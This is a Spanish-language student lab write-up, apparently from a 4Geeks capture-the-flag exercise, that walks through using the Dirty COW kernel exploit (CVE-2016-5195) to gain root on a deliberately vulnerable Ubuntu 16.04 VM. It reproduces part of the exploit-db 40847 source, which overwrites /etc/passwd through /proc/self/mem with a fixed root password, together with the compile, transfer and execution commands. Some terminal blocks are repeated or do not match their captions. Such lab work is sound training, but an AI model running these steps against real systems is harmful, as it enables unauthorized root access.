

Escalación de Privilegios
usando el Kernel Exploit
Dirty Cow.



JOEL GONZÁLEZ.

Índice

1. Introducción.

2 objetivo de la tarea realizada.

3. Descripción de la vulnerabilidad Dirty Cow.

4. Entorno de trabajo

5. Pasos realizados.

- 5.1 Verificación de versión de Kernel.
- 5.2 Preparar entorno para compilación con docker
- 5.3 Crear y compilar Exploit.
- 5.4 Transferir y ejecutar Exploit
- 5.5 Escalar Privilegios y capturar la Flag.

6. Conclusiones y Recomendaciones

7. Anexos

1. INTRODUCCION

Este informe describe la explotación de la vulnerabilidad Dirty COW (CVE-2016-5195) en una máquina virtual vulnerable, usando herramientas básicas de pentesting. Veremos cómo se pueden aprovechar los fallos en el kernel Linux para escalar privilegios.

2. OBJETIVO DE LA PRUEBA.

- Verificar versión del Kernel y confirmar la vulnerabilidad.
- Preparar un entorno seguro de compilación para crear el exploit.
- Ejecutar el exploit en la maquina de la victima para escalar privilegios de usuario limitado a root.
- Capturar la flag para demostrar el éxito del ataque.

3. DESCRIPCION DE LA VULNERABILIDAD DE DIRTY COW.

Dirty COW Permite a un usuario sin privilegios sobrescribir archivos de solo lectura, logrando así una escalada de privilegios. Fue descubierta en 2016 y afecta múltiples versiones del kernel.

4. ENTORNO DE TRABAJO

- Atacante: Kali Linux
- Victima: Ubuntu 16.04
- Contenedor: Ubuntu 16.04 para compilar el exploit con versiones compatibles de librerías.

5. PASOS REALIZADOS

5.1 Se verifico la versión del kernel con el siguiente comando en la maquina víctima.

Uname -a

Resultado:

```
student@ubuntu:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:57:01:5b brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.21/24 brd 192.168.1.255 scope global enp0s3
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe57:15b/64 scope link
        valid_lft forever preferred_lft forever
student@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
student@ubuntu:~$
```

5.2 Se preparo el entorno de compilación con docker.

- Se actualizo Kali con el comando **sudo apt update**.
- Se instalo docker con el comando **sudo apt install docker.io -y**.
- Se arranco docker con el comando **sudo systemctl start docker**.
- Se activo docker con el comando **sudo systemctl enable docker**.

Ejecución de **sudo apt update** y de **sudo apt install docker.io -y**

```
(kali@kali)~$ sudo apt update
[sudo] password for kali:
Get:1 https://download.docker.com/linux/debian bookworm InRelease [47.0 kB]
Get:2 http://mirror.es.cdn-perfprod.com/kali kali-rolling InRelease [41.5 kB]
Get:3 http://mirror.es.cdn-perfprod.com/kali kali-rolling/main amd64 Packages [21.0 MB]
Get:4 http://mirror.es.cdn-perfprod.com/kali kali-rolling/main amd64 Contents (deb) [51.4 MB]
Get:5 http://mirror.es.cdn-perfprod.com/kali kali-rolling/non-free-firmware amd64 Packages [10.6 kB]
Fetched 72.5 MB in 7s (10.2 MB/s)
29 packages can be upgraded. Run 'apt list --upgradable' to see them.

(kali@kali)~$ sudo apt install docker.io -y
The following packages were automatically installed and are no longer required:
  libslirp0 pigz python3-packaging-whl python3-pyinstaller-hooks-contrib python3-wheel-whl slirp4netns
Use 'sudo apt autoremove' to remove them.

Installing:
  docker.io

Installing dependencies:
  containerd criu docker-buildx docker-cli libcompel1 libintl-perl libintl-xs-perl libmodule-find-perl libproc-processtable-perl libsort-naturally-perl needrestart python3-pycrui runc tini

Suggested packages:
  containernetworking-plugins docker-doc aufs-tools btrfs-progs cgroupfs-mount debootstrap rinse rootlesskit xfsprogs zfs-fuse | zfsutils-linux
```


Ejecucion de los comandos **sudo systemctl start docker** y de **sudo systemctl enable docker**

```
(kali@kali)-[~]
$ sudo systemctl start docker

(kali@kali)-[~]
$ sudo systemctl enable docker
Synchronizing state of docker.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable docker

(kali@kali)-[~]
$
```

Se descargo la imagen de Ubuntu 16.04, con el siguiente comando:

sudo docker pull ubuntu:16.04

Y se lanzo el contenedor con el comando:

sudo docker run -it --name compile-ubuntu16 ubuntu:16.04

```
docker: permission denied while trying to connect to the Docker daemon socket
denied

Run 'docker run --help' for more information

(kali@kali)-[~]
$ sudo docker pull ubuntu:16.04
16.04: Pulling from library/ubuntu
58690f9b18fc: Pull complete
b51569e7c507: Pull complete
da8ef40b9eca: Pull complete
fb15d46c38dc: Pull complete
Digest: sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffe
Status: Downloaded newer image for ubuntu:16.04
docker.io/library/ubuntu:16.04

(kali@kali)-[~]
$ sudo docker run -it --name compile-ubuntu16 ubuntu:16.04
root@41dd639c61a4:/# g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty d
bash: g++: command not found
root@41dd639c61a4:/# nano dirty.cpp
bash: nano: command not found
root@41dd639c61a4:/# dirty.cpp
bash: dirty.cpp: command not found
root@41dd639c61a4:/# scp dirty student@192.168.1.21:/home/student
bash: scp: command not found
root@41dd639c61a4:/#
```

Dentro del contenedor de instalaron las herramientas de compilación con los comandos

apt update

apt install build-essential libutil-dev -y

5.3 Crear y comprar el exploit.

Se copio el código del exploit en el archivo dirty.cpp

EL código se cogio de la siguiente dirección: <https://www.exploit-db.com/exploits/40847>

```
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
//
#include <cstdlib>
#include <util.h>
#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>

#define BUFFSIZE 1024
#define PWDFILE "/etc/passwd"
#define BAKFILE "./.ssh_bak"
#define TMPBAKFILE "/tmp/.ssh_bak"
#define PSM "/proc/self/mem"
#define ROOTID "root:"
#define SSHDID "sshd:"
#define MAXITER 300
#define DEFPWD "$6$P7x8AooQEZX/ham$9L7U0KJoiHNgQakyf0Qok0gQWLSTfZGB9LUU7T0W2KH1rtJXTzt9mG4q0oz9Njt.t1klLtLosiaeCBsZn8hND/"
#define TXTPWD "dirtyCowFun\n"
#define DISABLEWD "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
#define EXITCMD "exit\n"
#define CPCMD "cp "
#define RUCMD "rm "
```

En este paso se compilo con el comando

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty dirty.cpp -lutil

Y después salimos del contenedor y copiamos el archivo en la maquina atacante Kali con el siguiente comando:

exit

sudo docker cp compile-ubuntu16:/dirty ./dirty

```
root@41dd639c61a4:/# nano dirty.cpp
root@41dd639c61a4:/# which g++
/usr/bin/g++
root@41dd639c61a4:/# ls -la dirty.cpp
-rw-r--r-- 1 root root 10285 Jun 29 22:51 dirty.cpp
root@41dd639c61a4:/# g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty dirty.cpp -lutil
root@41dd639c61a4:/# ls -la dirty
-rwxr-xr-x 1 root root 46968 Jun 29 22:52 dirty
root@41dd639c61a4:/# exit
exit

(kali@kali)-[~]
$ sudo docker cp compile-ubuntu16:/dirty ./dirty
[sudo] password for kali:
Successfully copied 48.6kB to /home/kali/dirty
```

5.4 Transferimos el archivo a la víctima. Se transfirió el archivo a la victima con el siguiente comando.

scp dirty student@ 192.168.1.21:/home/student

```
(kali@kali)-[~]
$ scp dirty student@192.168.1.21:/home/student

student@192.168.1.21's password:
dirty
100% 46kB 2.8MB/s 00:00

(kali@kali)-[~]
$ ssh student@192.168.1.21

student@192.168.1.21's password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '16.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jun 29 16:29:40 2025 from 192.168.1.18
student@ubuntu:~$
```

En la victima ejecutamos el siguiente comando, que si es exitoso nos mostrara una contraseña temporal para root.

chmod +x dirty

./dirty

```
* Documentation: https://help.ubuntu.com
* Management:   https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jun 29 14:01:36 2025
student@ubuntu:~$ ls -l /tmp/dirty
-rwxr-xr-x 1 student student 116328 Jun 29 16:24 /tmp/dirty
student@ubuntu:~$ chmod +x /tmp/dirty
student@ubuntu:~$ ./tmp/dirty
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
student@ubuntu:~$
```

5.5 Escalar privilegios y capturar la flag.

- Cambiar a root con la contraseña obtenida.
- Verificar privilegios.

Cambiamos a root con la contraseña obtenida: **dirtycowfun**

```
* Documentation: https://help.ubuntu.com
* Management:   https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jun 29 14:01:36 2025
student@ubuntu:~$ ls -l /tmp/dirty
-rwxr-xr-x 1 student student 116328 Jun 29 16:24 /tmp/dirty
student@ubuntu:~$ chmod +x /tmp/dirty
student@ubuntu:~$ ./tmp/dirty
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
student@ubuntu:~$
```


Verificamos que tengamos los privilegios de **root**.

```
(kali@kali)-[~]
└─$ scp ~/Desktop/dirty student@192.168.1.21:/tmp/dirty
student@192.168.1.21's password:
dirty

(kali@kali)-[~]
└─$ ls -l /tmp/dirty

ls: cannot access '/tmp/dirty': No such file or directory

(kali@kali)-[~]
└─$ ls -l /tmp/dirty

ls: cannot access '/tmp/dirty': No such file or directory

(kali@kali)-[~]
└─$ ssh student@192.168.1.21
student@192.168.1.21's password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jun 29 14:01:36 2025
student@ubuntu:~$ ls -l /tmp/dirty
-rwxr-xr-x 1 student student 116328 Jun 29 16:24 /tmp/dirty
student@ubuntu:~$ chmod +x /tmp/dirty
student@ubuntu:~$ /tmp/dirty
Running ...
Received su prompt (Password: )
Root password is:  dirtyCowFun
Enjoy! :-)
student@ubuntu:~$ su root
Password:
root@ubuntu:/home/student#
```

Ya que estamos como root con el comando **cat flag.txt** leemos el contenido de la flag.

```
Last login: Sun Jun 29 14:01:36 2025
student@ubuntu:~$ ls -l /tmp/dirty
-rwxr-xr-x 1 student student 116328 Jun 29 16:24 /tmp/dirty
student@ubuntu:~$ chmod +x /tmp/dirty
student@ubuntu:~$ /tmp/dirty
Running ...
Received su prompt (Password: )
Root password is:  dirtyCowFun
Enjoy! :-)
student@ubuntu:~$ su root
Password:
root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# cd /root
root@ubuntu:~# ls -l
total 4
-rw-r--r-- 1 root root 21 May 16 19:09 flag.txt
root@ubuntu:~# cat flag.txt
4GEEKS{Y0u_G0t_R00t}
root@ubuntu:~#
```

CONTENIDO DE LA FLAG: **4GEEKS{Y0u_Got_ROOT}**

6. CONCLUSIONES Y RECOMENDACIONES

- Se comprobó que una vulnerabilidad del kernel puede comprometer totalmente una maquina
- Es muy importante mantener actualizado el kernel y aplicar los parches de seguridad disponibles.
- Es importante estar al día de las vulnerabilidades y sus soluciones.

7. Referencias

- <https://www.exploit-db.com/exploits/40847>
- [CVE 2016-5195](#)